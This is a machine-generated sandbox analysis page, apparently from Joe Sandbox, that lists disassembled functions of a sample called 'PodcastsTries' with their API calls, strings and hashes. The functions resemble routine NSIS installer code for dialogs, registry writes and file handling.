Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

F, xrefs: 004042D3
N, xrefs: 00404298
open, xrefs: 0040430B

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

%s=%s, xrefs: 00406B6F
^F, xrefs: 00406ACF
[Rename], xrefs: 00406BF4, 00406C03
NUL, xrefs: 00406ACA
plF, xrefs: 00406B54

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

@bG, xrefs: 00406162
RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426176,762323A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB
`G, xrefs: 0040246E

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426176,762323A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426176,762323A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2

Memory Dump Source

Source File: 00000000.00000002.2124223179.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2124194375.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124276651.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124299460.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2124621421.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PodcastsTries.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
